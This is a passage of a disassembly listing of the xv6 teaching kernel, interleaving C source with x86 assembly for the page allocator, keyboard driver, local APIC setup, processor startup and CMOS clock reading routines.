p = (char*)PGROUNDUP((uint)vstart);
for(; p + PGSIZE <= (char*)vend; p += PGSIZE)
8010245d: 83 c4 10 add $0x10,%esp
80102460: 39 de cmp %ebx,%esi
80102462: 73 e4 jae 80102448 <kinit2+0x28>
void
kinit2(void *vstart, void *vend)
{
freerange(vstart, vend);
kmem.use_lock = 1;
80102464: c7 05 74 26 11 80 01 movl $0x1,0x80112674
8010246b: 00 00 00
}
8010246e: 8d 65 f8 lea -0x8(%ebp),%esp
80102471: 5b pop %ebx
80102472: 5e pop %esi
80102473: 5d pop %ebp
80102474: c3 ret
80102475: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102480 <kalloc>:
// Allocate one 4096-byte page of physical memory.
// Returns a pointer that the kernel can use.
// Returns 0 if the memory cannot be allocated.
char*
kalloc(void)
{
80102480: 55 push %ebp
80102481: 89 e5 mov %esp,%ebp
80102483: 53 push %ebx
80102484: 83 ec 04 sub $0x4,%esp
struct run *r;
if(kmem.use_lock)
80102487: a1 74 26 11 80 mov 0x80112674,%eax
8010248c: 85 c0 test %eax,%eax
8010248e: 75 30 jne 801024c0 <kalloc+0x40>
acquire(&kmem.lock);
r = kmem.freelist;
80102490: 8b 1d 78 26 11 80 mov 0x80112678,%ebx
if(r)
80102496: 85 db test %ebx,%ebx
80102498: 74 1c je 801024b6 <kalloc+0x36>
kmem.freelist = r->next;
8010249a: 8b 13 mov (%ebx),%edx
8010249c: 89 15 78 26 11 80 mov %edx,0x80112678
if(kmem.use_lock)
801024a2: 85 c0 test %eax,%eax
801024a4: 74 10 je 801024b6 <kalloc+0x36>
release(&kmem.lock);
801024a6: 83 ec 0c sub $0xc,%esp
801024a9: 68 40 26 11 80 push $0x80112640
801024ae: e8 6d 1f 00 00 call 80104420 <release>
801024b3: 83 c4 10 add $0x10,%esp
return (char*)r;
}
801024b6: 89 d8 mov %ebx,%eax
801024b8: 8b 5d fc mov -0x4(%ebp),%ebx
801024bb: c9 leave
801024bc: c3 ret
801024bd: 8d 76 00 lea 0x0(%esi),%esi
kalloc(void)
{
struct run *r;
if(kmem.use_lock)
acquire(&kmem.lock);
801024c0: 83 ec 0c sub $0xc,%esp
801024c3: 68 40 26 11 80 push $0x80112640
801024c8: e8 a3 1e 00 00 call 80104370 <acquire>
r = kmem.freelist;
801024cd: 8b 1d 78 26 11 80 mov 0x80112678,%ebx
if(r)
801024d3: 83 c4 10 add $0x10,%esp
801024d6: a1 74 26 11 80 mov 0x80112674,%eax
801024db: 85 db test %ebx,%ebx
801024dd: 75 bb jne 8010249a <kalloc+0x1a>
801024df: eb c1 jmp 801024a2 <kalloc+0x22>
801024e1: 66 90 xchg %ax,%ax
801024e3: 66 90 xchg %ax,%ax
801024e5: 66 90 xchg %ax,%ax
801024e7: 66 90 xchg %ax,%ax
801024e9: 66 90 xchg %ax,%ax
801024eb: 66 90 xchg %ax,%ax
801024ed: 66 90 xchg %ax,%ax
801024ef: 90 nop
801024f0 <kbdgetc>:
#include "defs.h"
#include "kbd.h"
int
kbdgetc(void)
{
801024f0: 55 push %ebp
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801024f1: ba 64 00 00 00 mov $0x64,%edx
801024f6: 89 e5 mov %esp,%ebp
801024f8: ec in (%dx),%al
normalmap, shiftmap, ctlmap, ctlmap
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
801024f9: a8 01 test $0x1,%al
801024fb: 0f 84 af 00 00 00 je 801025b0 <kbdgetc+0xc0>
80102501: ba 60 00 00 00 mov $0x60,%edx
80102506: ec in (%dx),%al
return -1;
data = inb(KBDATAP);
80102507: 0f b6 d0 movzbl %al,%edx
if(data == 0xE0){
8010250a: 81 fa e0 00 00 00 cmp $0xe0,%edx
80102510: 74 7e je 80102590 <kbdgetc+0xa0>
shift |= E0ESC;
return 0;
} else if(data & 0x80){
80102512: 84 c0 test %al,%al
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
80102514: 8b 0d b4 a5 10 80 mov 0x8010a5b4,%ecx
data = inb(KBDATAP);
if(data == 0xE0){
shift |= E0ESC;
return 0;
} else if(data & 0x80){
8010251a: 79 24 jns 80102540 <kbdgetc+0x50>
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
8010251c: f6 c1 40 test $0x40,%cl
8010251f: 75 05 jne 80102526 <kbdgetc+0x36>
80102521: 89 c2 mov %eax,%edx
80102523: 83 e2 7f and $0x7f,%edx
shift &= ~(shiftcode[data] | E0ESC);
80102526: 0f b6 82 e0 72 10 80 movzbl -0x7fef8d20(%edx),%eax
8010252d: 83 c8 40 or $0x40,%eax
80102530: 0f b6 c0 movzbl %al,%eax
80102533: f7 d0 not %eax
80102535: 21 c8 and %ecx,%eax
80102537: a3 b4 a5 10 80 mov %eax,0x8010a5b4
return 0;
8010253c: 31 c0 xor %eax,%eax
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
8010253e: 5d pop %ebp
8010253f: c3 ret
} else if(data & 0x80){
// Key released
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
80102540: f6 c1 40 test $0x40,%cl
80102543: 74 09 je 8010254e <kbdgetc+0x5e>
// Last character was an E0 escape; or with 0x80
data |= 0x80;
80102545: 83 c8 80 or $0xffffff80,%eax
shift &= ~E0ESC;
80102548: 83 e1 bf and $0xffffffbf,%ecx
data = (shift & E0ESC ? data : data & 0x7F);
shift &= ~(shiftcode[data] | E0ESC);
return 0;
} else if(shift & E0ESC){
// Last character was an E0 escape; or with 0x80
data |= 0x80;
8010254b: 0f b6 d0 movzbl %al,%edx
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
8010254e: 0f b6 82 e0 72 10 80 movzbl -0x7fef8d20(%edx),%eax
80102555: 09 c1 or %eax,%ecx
80102557: 0f b6 82 e0 71 10 80 movzbl -0x7fef8e20(%edx),%eax
8010255e: 31 c1 xor %eax,%ecx
c = charcode[shift & (CTL | SHIFT)][data];
80102560: 89 c8 mov %ecx,%eax
data |= 0x80;
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
80102562: 89 0d b4 a5 10 80 mov %ecx,0x8010a5b4
c = charcode[shift & (CTL | SHIFT)][data];
80102568: 83 e0 03 and $0x3,%eax
if(shift & CAPSLOCK){
8010256b: 83 e1 08 and $0x8,%ecx
shift &= ~E0ESC;
}
shift |= shiftcode[data];
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
8010256e: 8b 04 85 c0 71 10 80 mov -0x7fef8e40(,%eax,4),%eax
80102575: 0f b6 04 10 movzbl (%eax,%edx,1),%eax
if(shift & CAPSLOCK){
80102579: 74 c3 je 8010253e <kbdgetc+0x4e>
if('a' <= c && c <= 'z')
8010257b: 8d 50 9f lea -0x61(%eax),%edx
8010257e: 83 fa 19 cmp $0x19,%edx
80102581: 77 1d ja 801025a0 <kbdgetc+0xb0>
c += 'A' - 'a';
80102583: 83 e8 20 sub $0x20,%eax
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
80102586: 5d pop %ebp
80102587: c3 ret
80102588: 90 nop
80102589: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return -1;
data = inb(KBDATAP);
if(data == 0xE0){
shift |= E0ESC;
return 0;
80102590: 31 c0 xor %eax,%eax
if((st & KBS_DIB) == 0)
return -1;
data = inb(KBDATAP);
if(data == 0xE0){
shift |= E0ESC;
80102592: 83 0d b4 a5 10 80 40 orl $0x40,0x8010a5b4
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
80102599: 5d pop %ebp
8010259a: c3 ret
8010259b: 90 nop
8010259c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
shift ^= togglecode[data];
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
if('a' <= c && c <= 'z')
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
801025a0: 8d 48 bf lea -0x41(%eax),%ecx
c += 'a' - 'A';
801025a3: 8d 50 20 lea 0x20(%eax),%edx
}
return c;
}
801025a6: 5d pop %ebp
c = charcode[shift & (CTL | SHIFT)][data];
if(shift & CAPSLOCK){
if('a' <= c && c <= 'z')
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
801025a7: 83 f9 19 cmp $0x19,%ecx
801025aa: 0f 46 c2 cmovbe %edx,%eax
}
return c;
}
801025ad: c3 ret
801025ae: 66 90 xchg %ax,%ax
};
uint st, data, c;
st = inb(KBSTATP);
if((st & KBS_DIB) == 0)
return -1;
801025b0: b8 ff ff ff ff mov $0xffffffff,%eax
c += 'A' - 'a';
else if('A' <= c && c <= 'Z')
c += 'a' - 'A';
}
return c;
}
801025b5: 5d pop %ebp
801025b6: c3 ret
801025b7: 89 f6 mov %esi,%esi
801025b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801025c0 <kbdintr>:
void
kbdintr(void)
{
801025c0: 55 push %ebp
801025c1: 89 e5 mov %esp,%ebp
801025c3: 83 ec 14 sub $0x14,%esp
consoleintr(kbdgetc);
801025c6: 68 f0 24 10 80 push $0x801024f0
801025cb: e8 20 e2 ff ff call 801007f0 <consoleintr>
}
801025d0: 83 c4 10 add $0x10,%esp
801025d3: c9 leave
801025d4: c3 ret
801025d5: 66 90 xchg %ax,%ax
801025d7: 66 90 xchg %ax,%ax
801025d9: 66 90 xchg %ax,%ax
801025db: 66 90 xchg %ax,%ax
801025dd: 66 90 xchg %ax,%ax
801025df: 90 nop
801025e0 <lapicinit>:
}
void
lapicinit(void)
{
if(!lapic)
801025e0: a1 7c 26 11 80 mov 0x8011267c,%eax
lapic[ID]; // wait for write to finish, by reading
}
void
lapicinit(void)
{
801025e5: 55 push %ebp
801025e6: 89 e5 mov %esp,%ebp
if(!lapic)
801025e8: 85 c0 test %eax,%eax
801025ea: 0f 84 c8 00 00 00 je 801026b8 <lapicinit+0xd8>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801025f0: c7 80 f0 00 00 00 3f movl $0x13f,0xf0(%eax)
801025f7: 01 00 00
lapic[ID]; // wait for write to finish, by reading
801025fa: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801025fd: c7 80 e0 03 00 00 0b movl $0xb,0x3e0(%eax)
80102604: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102607: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010260a: c7 80 20 03 00 00 20 movl $0x20020,0x320(%eax)
80102611: 00 02 00
lapic[ID]; // wait for write to finish, by reading
80102614: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102617: c7 80 80 03 00 00 80 movl $0x989680,0x380(%eax)
8010261e: 96 98 00
lapic[ID]; // wait for write to finish, by reading
80102621: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102624: c7 80 50 03 00 00 00 movl $0x10000,0x350(%eax)
8010262b: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010262e: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102631: c7 80 60 03 00 00 00 movl $0x10000,0x360(%eax)
80102638: 00 01 00
lapic[ID]; // wait for write to finish, by reading
8010263b: 8b 50 20 mov 0x20(%eax),%edx
lapicw(LINT0, MASKED);
lapicw(LINT1, MASKED);
// Disable performance counter overflow interrupts
// on machines that provide that interrupt entry.
if(((lapic[VER]>>16) & 0xFF) >= 4)
8010263e: 8b 50 30 mov 0x30(%eax),%edx
80102641: c1 ea 10 shr $0x10,%edx
80102644: 80 fa 03 cmp $0x3,%dl
80102647: 77 77 ja 801026c0 <lapicinit+0xe0>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102649: c7 80 70 03 00 00 33 movl $0x33,0x370(%eax)
80102650: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102653: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102656: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
8010265d: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102660: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102663: c7 80 80 02 00 00 00 movl $0x0,0x280(%eax)
8010266a: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010266d: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102670: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102677: 00 00 00
lapic[ID]; // wait for write to finish, by reading
8010267a: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010267d: c7 80 10 03 00 00 00 movl $0x0,0x310(%eax)
80102684: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102687: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010268a: c7 80 00 03 00 00 00 movl $0x88500,0x300(%eax)
80102691: 85 08 00
lapic[ID]; // wait for write to finish, by reading
80102694: 8b 50 20 mov 0x20(%eax),%edx
80102697: 89 f6 mov %esi,%esi
80102699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
lapicw(EOI, 0);
// Send an Init Level De-Assert to synchronise arbitration ID's.
lapicw(ICRHI, 0);
lapicw(ICRLO, BCAST | INIT | LEVEL);
while(lapic[ICRLO] & DELIVS)
801026a0: 8b 90 00 03 00 00 mov 0x300(%eax),%edx
801026a6: 80 e6 10 and $0x10,%dh
801026a9: 75 f5 jne 801026a0 <lapicinit+0xc0>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026ab: c7 80 80 00 00 00 00 movl $0x0,0x80(%eax)
801026b2: 00 00 00
lapic[ID]; // wait for write to finish, by reading
801026b5: 8b 40 20 mov 0x20(%eax),%eax
while(lapic[ICRLO] & DELIVS)
;
// Enable interrupts on the APIC (but not on the processor).
lapicw(TPR, 0);
}
801026b8: 5d pop %ebp
801026b9: c3 ret
801026ba: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801026c0: c7 80 40 03 00 00 00 movl $0x10000,0x340(%eax)
801026c7: 00 01 00
lapic[ID]; // wait for write to finish, by reading
801026ca: 8b 50 20 mov 0x20(%eax),%edx
801026cd: e9 77 ff ff ff jmp 80102649 <lapicinit+0x69>
801026d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
801026d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801026e0 <lapicid>:
}
int
lapicid(void)
{
if (!lapic)
801026e0: a1 7c 26 11 80 mov 0x8011267c,%eax
lapicw(TPR, 0);
}
int
lapicid(void)
{
801026e5: 55 push %ebp
801026e6: 89 e5 mov %esp,%ebp
if (!lapic)
801026e8: 85 c0 test %eax,%eax
801026ea: 74 0c je 801026f8 <lapicid+0x18>
return 0;
return lapic[ID] >> 24;
801026ec: 8b 40 20 mov 0x20(%eax),%eax
}
801026ef: 5d pop %ebp
int
lapicid(void)
{
if (!lapic)
return 0;
return lapic[ID] >> 24;
801026f0: c1 e8 18 shr $0x18,%eax
}
801026f3: c3 ret
801026f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
int
lapicid(void)
{
if (!lapic)
return 0;
801026f8: 31 c0 xor %eax,%eax
return lapic[ID] >> 24;
}
801026fa: 5d pop %ebp
801026fb: c3 ret
801026fc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102700 <lapiceoi>:
// Acknowledge interrupt.
void
lapiceoi(void)
{
if(lapic)
80102700: a1 7c 26 11 80 mov 0x8011267c,%eax
}
// Acknowledge interrupt.
void
lapiceoi(void)
{
80102705: 55 push %ebp
80102706: 89 e5 mov %esp,%ebp
if(lapic)
80102708: 85 c0 test %eax,%eax
8010270a: 74 0d je 80102719 <lapiceoi+0x19>
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010270c: c7 80 b0 00 00 00 00 movl $0x0,0xb0(%eax)
80102713: 00 00 00
lapic[ID]; // wait for write to finish, by reading
80102716: 8b 40 20 mov 0x20(%eax),%eax
void
lapiceoi(void)
{
if(lapic)
lapicw(EOI, 0);
}
80102719: 5d pop %ebp
8010271a: c3 ret
8010271b: 90 nop
8010271c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102720 <microdelay>:
// Spin for a given number of microseconds.
// On real hardware would want to tune this dynamically.
void
microdelay(int us)
{
80102720: 55 push %ebp
80102721: 89 e5 mov %esp,%ebp
}
80102723: 5d pop %ebp
80102724: c3 ret
80102725: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80102729: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80102730 <lapicstartap>:
// Start additional processor running entry code at addr.
// See Appendix B of MultiProcessor Specification.
void
lapicstartap(uchar apicid, uint addr)
{
80102730: 55 push %ebp
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102731: ba 70 00 00 00 mov $0x70,%edx
80102736: b8 0f 00 00 00 mov $0xf,%eax
8010273b: 89 e5 mov %esp,%ebp
8010273d: 53 push %ebx
8010273e: 8b 4d 0c mov 0xc(%ebp),%ecx
80102741: 8b 5d 08 mov 0x8(%ebp),%ebx
80102744: ee out %al,(%dx)
80102745: ba 71 00 00 00 mov $0x71,%edx
8010274a: b8 0a 00 00 00 mov $0xa,%eax
8010274f: ee out %al,(%dx)
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
80102750: 31 c0 xor %eax,%eax
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102752: c1 e3 18 shl $0x18,%ebx
// and the warm reset vector (DWORD based at 40:67) to point at
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
80102755: 66 a3 67 04 00 80 mov %ax,0x80000467
wrv[1] = addr >> 4;
8010275b: 89 c8 mov %ecx,%eax
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
8010275d: c1 e9 0c shr $0xc,%ecx
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
wrv[1] = addr >> 4;
80102760: c1 e8 04 shr $0x4,%eax
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102763: 89 da mov %ebx,%edx
// when it is in the halted state due to an INIT. So the second
// should be ignored, but it is part of the official Intel algorithm.
// Bochs complains about the second one. Too bad for Bochs.
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
80102765: 80 cd 06 or $0x6,%ch
// the AP startup code prior to the [universal startup algorithm]."
outb(CMOS_PORT, 0xF); // offset 0xF is shutdown code
outb(CMOS_PORT+1, 0x0A);
wrv = (ushort*)P2V((0x40<<4 | 0x67)); // Warm reset vector
wrv[0] = 0;
wrv[1] = addr >> 4;
80102768: 66 a3 69 04 00 80 mov %ax,0x80000469
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010276e: a1 7c 26 11 80 mov 0x8011267c,%eax
80102773: 89 98 10 03 00 00 mov %ebx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
80102779: 8b 58 20 mov 0x20(%eax),%ebx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010277c: c7 80 00 03 00 00 00 movl $0xc500,0x300(%eax)
80102783: c5 00 00
lapic[ID]; // wait for write to finish, by reading
80102786: 8b 58 20 mov 0x20(%eax),%ebx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102789: c7 80 00 03 00 00 00 movl $0x8500,0x300(%eax)
80102790: 85 00 00
lapic[ID]; // wait for write to finish, by reading
80102793: 8b 58 20 mov 0x20(%eax),%ebx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
80102796: 89 90 10 03 00 00 mov %edx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
8010279c: 8b 58 20 mov 0x20(%eax),%ebx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
8010279f: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801027a5: 8b 58 20 mov 0x20(%eax),%ebx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801027a8: 89 90 10 03 00 00 mov %edx,0x310(%eax)
lapic[ID]; // wait for write to finish, by reading
801027ae: 8b 50 20 mov 0x20(%eax),%edx
//PAGEBREAK!
static void
lapicw(int index, int value)
{
lapic[index] = value;
801027b1: 89 88 00 03 00 00 mov %ecx,0x300(%eax)
lapic[ID]; // wait for write to finish, by reading
801027b7: 8b 40 20 mov 0x20(%eax),%eax
for(i = 0; i < 2; i++){
lapicw(ICRHI, apicid<<24);
lapicw(ICRLO, STARTUP | (addr>>12));
microdelay(200);
}
}
801027ba: 5b pop %ebx
801027bb: 5d pop %ebp
801027bc: c3 ret
801027bd: 8d 76 00 lea 0x0(%esi),%esi
801027c0 <cmostime>:
}
// qemu seems to use 24-hour GWT and the values are BCD encoded
void
cmostime(struct rtcdate *r)
{
801027c0: 55 push %ebp
801027c1: ba 70 00 00 00 mov $0x70,%edx
801027c6: b8 0b 00 00 00 mov $0xb,%eax
801027cb: 89 e5 mov %esp,%ebp
801027cd: 57 push %edi
801027ce: 56 push %esi
801027cf: 53 push %ebx
801027d0: 83 ec 4c sub $0x4c,%esp
801027d3: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801027d4: ba 71 00 00 00 mov $0x71,%edx
801027d9: ec in (%dx),%al
801027da: 83 e0 04 and $0x4,%eax
801027dd: 8d 75 d0 lea -0x30(%ebp),%esi
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
801027e0: 31 db xor %ebx,%ebx
801027e2: 88 45 b7 mov %al,-0x49(%ebp)
801027e5: bf 70 00 00 00 mov $0x70,%edi
801027ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
801027f0: 89 d8 mov %ebx,%eax
801027f2: 89 fa mov %edi,%edx
801027f4: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
801027f5: b9 71 00 00 00 mov $0x71,%ecx
801027fa: 89 ca mov %ecx,%edx
801027fc: ec in (%dx),%al
}
static void
fill_rtcdate(struct rtcdate *r)
{
r->second = cmos_read(SECS);
801027fd: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102800: 89 fa mov %edi,%edx
80102802: 89 45 b8 mov %eax,-0x48(%ebp)
80102805: b8 02 00 00 00 mov $0x2,%eax
8010280a: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010280b: 89 ca mov %ecx,%edx
8010280d: ec in (%dx),%al
r->minute = cmos_read(MINS);
8010280e: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102811: 89 fa mov %edi,%edx
80102813: 89 45 bc mov %eax,-0x44(%ebp)
80102816: b8 04 00 00 00 mov $0x4,%eax
8010281b: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010281c: 89 ca mov %ecx,%edx
8010281e: ec in (%dx),%al
r->hour = cmos_read(HOURS);
8010281f: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102822: 89 fa mov %edi,%edx
80102824: 89 45 c0 mov %eax,-0x40(%ebp)
80102827: b8 07 00 00 00 mov $0x7,%eax
8010282c: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010282d: 89 ca mov %ecx,%edx
8010282f: ec in (%dx),%al
r->day = cmos_read(DAY);
80102830: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102833: 89 fa mov %edi,%edx
80102835: 89 45 c4 mov %eax,-0x3c(%ebp)
80102838: b8 08 00 00 00 mov $0x8,%eax
8010283d: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010283e: 89 ca mov %ecx,%edx
80102840: ec in (%dx),%al
r->month = cmos_read(MONTH);
80102841: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102844: 89 fa mov %edi,%edx
80102846: 89 45 c8 mov %eax,-0x38(%ebp)
80102849: b8 09 00 00 00 mov $0x9,%eax
8010284e: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010284f: 89 ca mov %ecx,%edx
80102851: ec in (%dx),%al
r->year = cmos_read(YEAR);
80102852: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102855: 89 fa mov %edi,%edx
80102857: 89 45 cc mov %eax,-0x34(%ebp)
8010285a: b8 0a 00 00 00 mov $0xa,%eax
8010285f: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
80102860: 89 ca mov %ecx,%edx
80102862: ec in (%dx),%al
bcd = (sb & (1 << 2)) == 0;
// make sure CMOS doesn't modify time while we read it
for(;;) {
fill_rtcdate(&t1);
if(cmos_read(CMOS_STATA) & CMOS_UIP)
80102863: 84 c0 test %al,%al
80102865: 78 89 js 801027f0 <cmostime+0x30>
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102867: 89 d8 mov %ebx,%eax
80102869: 89 fa mov %edi,%edx
8010286b: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010286c: 89 ca mov %ecx,%edx
8010286e: ec in (%dx),%al
}
static void
fill_rtcdate(struct rtcdate *r)
{
r->second = cmos_read(SECS);
8010286f: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102872: 89 fa mov %edi,%edx
80102874: 89 45 d0 mov %eax,-0x30(%ebp)
80102877: b8 02 00 00 00 mov $0x2,%eax
8010287c: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010287d: 89 ca mov %ecx,%edx
8010287f: ec in (%dx),%al
r->minute = cmos_read(MINS);
80102880: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102883: 89 fa mov %edi,%edx
80102885: 89 45 d4 mov %eax,-0x2c(%ebp)
80102888: b8 04 00 00 00 mov $0x4,%eax
8010288d: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010288e: 89 ca mov %ecx,%edx
80102890: ec in (%dx),%al
r->hour = cmos_read(HOURS);
80102891: 0f b6 c0 movzbl %al,%eax
}
static inline void
outb(ushort port, uchar data)
{
asm volatile("out %0,%1" : : "a" (data), "d" (port));
80102894: 89 fa mov %edi,%edx
80102896: 89 45 d8 mov %eax,-0x28(%ebp)
80102899: b8 07 00 00 00 mov $0x7,%eax
8010289e: ee out %al,(%dx)
static inline uchar
inb(ushort port)
{
uchar data;
asm volatile("in %1,%0" : "=a" (data) : "d" (port));
8010289f: 89 ca mov %ecx,%edx
801028a1: ec in (%dx),%al
r->day = cmos_read(DAY);
